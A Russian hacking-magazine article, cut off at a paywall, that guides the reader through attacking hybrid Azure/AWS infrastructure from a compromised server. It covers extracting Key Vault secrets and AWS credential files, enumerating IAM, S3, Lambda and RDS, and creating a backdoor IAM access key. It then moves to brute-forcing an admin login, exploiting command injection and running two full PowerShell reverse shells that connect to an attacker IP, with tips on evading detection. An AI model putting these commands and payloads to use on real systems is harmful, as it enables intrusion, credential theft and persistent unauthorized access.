Следующая новость
Предыдущая новость

Атака на облака. Гайд по методам взлома приложений в Azure и AWS

22.07.2020 13:42
Атака на облака. Гайд по методам взлома приложений в Azure и AWS

Содержание статьи

  • Внутренняя разведка на использование облачных сервисов
  • Сбор данных с помощью утилиты Az
  • Сбор данных с помощью утилиты AWS
  • Расширение прав и горизонтальное перемещение
  • AWS
  • Azure
  • Сила Azure Run — берем шелл
  • Манипуляции на целевой машине и постэксплуатация Azure
  • Кража метаданных с виртуальной машины Azure
  • AWS
  • Эксплуатация сервисов
  • Эксплуатация уязвимости в AWS Lambda
  • Эксплуатация облачных хранилищ в AWS
  • Реляционные базы данных AWS
  • Облачное хранилище Azure
  • Заключение

Перенос IT-инфраструктуры в облака — это не дань моде: такой подход позволяет экономить на технической поддержке, резервном копировании и администрировании. К тому же размещение инфраструктуры в облаке считается более защищенным и от сбоев, и от внешних атак. Но есть и эффективные методы взлома наиболее популярных гибридно-облачных сред, таких как Azure и AWS. Об этих техниках и атаках я расскажу дальше.

WARNING

Описания техник и атак в этой статье приведены исключительно в образовательных целях. Автор и редакция не несут ответственности за возможные последствия использования информации из этой статьи.

Для наглядности давай представим пример атакуемой инфраструктуры в виде следующей диаграммы.

Атака на облака. Гайд по методам взлома приложений в Azure и AWS
Пример гибридно-облачной инфраструктуры

Как видно из диаграммы, организация использует серверы и сервисы разных облачных провайдеров, а также имеет ряд серверов on-premises. Серверы и сервисы взаимодействуют между собой, так как это необходимо для полноценной работоспособности бизнеса. Предположим, что злоумышленник получил удаленный доступ к скомпрометированному серверу on-premises. Вот несколько возможных сценариев дальнейшего развития атаки.

Внутренняя разведка на использование облачных сервисов

Имея доступ к линукс-серверу on-premises, желательно оставаться незамеченным как можно дольше. С этой целью можно использовать сервисы, действия и запросы которых рассматриваются в системе как разрешенные. На такую роль как нельзя лучше подходят прикладные утилиты для удаленной работы с облачной инфраструктурой.

Также стоит обратить внимание на любые другие следы того, что сервер взаимодействует с облаками. К примеру, можно проанализировать command history, запущенные процессы, установленные пакеты и прочее.

Сбор данных с помощью утилиты Az

Azure CLI — это набор команд для создания ресурсов Azure и управления ими. Azure CLI доступен в различных службах Azure и предназначен для быстрой работы с ними. Для входа в профиль Azure по умолчанию используется команда az login.

Атака на облака. Гайд по методам взлома приложений в Azure и AWS
Вход в профиль Azure с помощью команды az login

Как оказалось, в нашем случае линукс-сервер имеет доступ к инфраструктуре Azure. Какую полезную информацию из этого можно извлечь? Для начала с помощью команды az account list получим перечень подписок авторизированного пользователя.

Атака на облака. Гайд по методам взлома приложений в Azure и AWS
Получение перечня подписок

C помощью директивы az account show --query "id" можно получить ID учетной записи. А команда

az resource list --query "[?type=='Microsoft.KeyVault/vaults']" 

позволяет узнать данные о key vault.

Key Vault — это служба, которая помогает хранить ключи в аппаратных модулях безопасности (HSM), зашифровывая ключи и небольшие секретные данные, например пароли. Очевидно, что Key Vault должен быть правильно настроен, иначе может произойти нечто подобное тому, что показано на скриншоте ниже.

Атака на облака. Гайд по методам взлома приложений в Azure и AWS
Вот почему важно правильно настроить Key Vault

А вот еще несколько команд, позволяющих выудить из Azure нужные взломщику сведения:

  • az resource show --id /subscriptions/… | grep -E enablePurgeProtection|enableSoftDelete — проверить, можно ли восстановить Key Vault;
  • az keyvault secret list --vault-name name --query [*].[{"name":attributes.name},{"enabled":attributes.enabled},{"expires":attributes.expires}] —проверить, когда секретный ключ Key Vault истекает;
  • az keyvault secret list --vault-name KeyVaultdatasecure --query '[].id' — получить URL для Key Vault;
  • az keyvault secret show --id — получить данные, хранящиеся в Key Vault;
  • az network nsg list --query [*].[name,securityRules] — получить данные о политике безопасности для сети Azure.
Атака на облака. Гайд по методам взлома приложений в Azure и AWS
Результат работы команды az keyvault secret show --id

С помощью приведенных выше команд можно увидеть детали настроек политик безопасности для сети, к примеру название политики, группы, конфигурации. Обрати внимание на теги access, destinationPortRange, protocol и direction. Они показывают, что на сервере разрешены внешние подключения. Установка удаленного доступа к C&C значительно облегчает задачу атакующему и повышает шансы остаться незамеченным.

Атака на облака. Гайд по методам взлома приложений в Azure и AWS
По ряду признаков можно определить, что на сервере разрешены подключения извне

Сбор данных с помощью утилиты AWS

AWS CLI — это единый инструмент для управления сервисами AWS. Загружаешь всего одно средство, и можешь контролировать множество сервисов AWS из командной строки и автоматизировать их с помощью скриптов.

Если утилита AWS установлена на скомпрометированной машине, можно проверить, сконфигурирован ли AWS-профиль. Конфигурационные данные к AWS на компьютерах под управлением Linux хранятся в файле ~/. aws/credentials, а в Windows — в C:Users USERNAME . awscredentials. Этот файл может содержать данные к учетной записи AWS (access key ID, secret access key и session token). Полученную таким образом учетную запить можно использовать для удаленного доступа в будущем.

Атака на облака. Гайд по методам взлома приложений в Azure и AWS
Извлечение данных о конфигурации AWS CLI

С помощью следующих команд AWS CLI мы получим важную информацию о развернутой в сети облачной инфраструктуре:

  • aws sts get-caller-identity — получить данные об используемой учетной записи;
  • aws iam list-users — перечислить всех IAM-пользователей;
  • aws s3 ls — перечислить все доступные AWS S3;
  • aws lambda list --functions — перечислить все lambda-функции;
  • aws lambda get-function --function-name [function_name] — собрать дополнительную информацию по lambda-переменным, локации и так далее;
  • aws ec2 describe-instances — перечислить все доступные виртуальные машины;
  • aws deploy list-applications — перечисть все доступные веб-сервисы;
  • aws rds describe-db-instances — показать все доступные RDS-базы данных.
Атака на облака. Гайд по методам взлома приложений в Azure и AWS
С помощью одной команды мы можем получить данные о доступных RDS-базах

Существуют и другие методы сбора информации на скомпрометированной системе. К примеру, можно воспользоваться командой history и посмотреть, какие команды выполнялись за последнее время на этой машине.

Расширение прав и горизонтальное перемещение

AWS

Чтобы закрепиться в системе, можно создать учетную запись с секретными ключами и именем iamadmin, которая будет выполнять функцию бэкдора для атакующего. Для этого воспользуемся командой

aws iam create-access-key --user-name iamadmin 
Атака на облака. Гайд по методам взлома приложений в Azure и AWS
Создаем учетную запись для закрепления в системе

С помощью команд SSH можно подключиться к удаленному AWS bucket.

Атака на облака. Гайд по методам взлома приложений в Azure и AWS
Подключение к AWS bucket с использованием SSH

Получается, что боковыми движениями мы заполучили доступ к инфраструктуре AWS. При эксплуатации SSH желательно всегда проверять следующие директории и файлы:

  • .ssh/authorized_keys — содержит подпись публичных ключей для любых авторизованных клиентов;
  • .ssh/id_rsa — содержит приватные ключи для клиентов;
  • .ssh/id_rsa.pub — содержит публичные ключи для клиента;
  • .ssh/known_hosts — содержит список подписей хостов.

Azure

Итак, нам удалось найти данные для учетных записей и собрать достаточно информации, чтобы понять, что в инфраструктуре Azure присутствует несколько виртуальных машин и сервисов. Виртуальные машины в Azure очень похожи на обычные машины, которые работают в виртуальной среде, и потому поддерживают стандартный набор команд. Запустим Nmap на одной из виртуальных машин AWS.

nmap -sS -sV -v -Pn -p- <IP-адрес > 
Атака на облака. Гайд по методам взлома приложений в Azure и AWS
Запускаем Nmap на виртуальной машине

Видно, что на удаленной виртуальной машине работает Apache на 80-м порте. Как правило, настройки доступа в среде Azure устанавливаются с помощью правил Azure network group. Так что нужно быть внимательным и не забывать менять тестовые настройки. Как оказалось, мы имеем дело с веб-приложением для тестирования статуса машин в облаке. Не буду углубляться в подробности тестирования веб-приложения, а просто приведу пример, как уязвимость в веб-приложении может предоставить доступ к удаленной виртуальной машине в Azure.

Для перебора учетных данных использовался DirBuster, который привел меня на страницу с формой логина администратора. Выяснилось, что приложение уязвимо к перечислению пользователей и брутфорсу пароля. Сбрутить пароль можно с использованием Burp Suite.

Атака на облака. Гайд по методам взлома приложений в Azure и AWS
Форма логина администратора веб-приложения

Приложение оказалось уязвимым к запуску команды на удаленном компьютере.

Атака на облака. Гайд по методам взлома приложений в Azure и AWS
Запуск команды на удаленном компьютере

Видно, что это машина под управлением Windows, на которой можно попробовать взять шелл. Для начала нужно запустить слушателя на машине атакующего. В качестве примера будет использован netcat: выполним команду nc -lvp 9090, которая запускает слушателя на порте 9090 и переводит его в режим ожидания удаленного TCP-соединения.

Можно использовать приведенный ниже PowerShell reverse shell либо загрузить на машину свой собственный шелл, так как этот может быть обнаружен антивирусами и EDP-системами. Вот два примера шелла PowerShell, которые можно использовать на удаленной машине.

Первый шелл

powershell 127.0.0.1&powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('IP,9090);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()" 

Второй шелл

$client = New-Object System.Net.Sockets.TCPClient("IP",9090);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close() 

Как только мы получим шелл, можно приступить к постэксплуатации и дальнейшим горизонтальным перемещениям.

Продолжение доступно только участникам

Материалы из последних выпусков становятся доступны по отдельности только через два месяца после публикации. Чтобы продолжить чтение, необходимо стать участником сообщества «Xakep.ru».

Присоединяйся к сообществу «Xakep.ru»!

Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», увеличит личную накопительную скидку и позволит накапливать профессиональный рейтинг Xakep Score! Подробнее

1 год

7690 р.

1 месяц

720 р.

Я уже участник «Xakep.ru»

Источник

Последние новости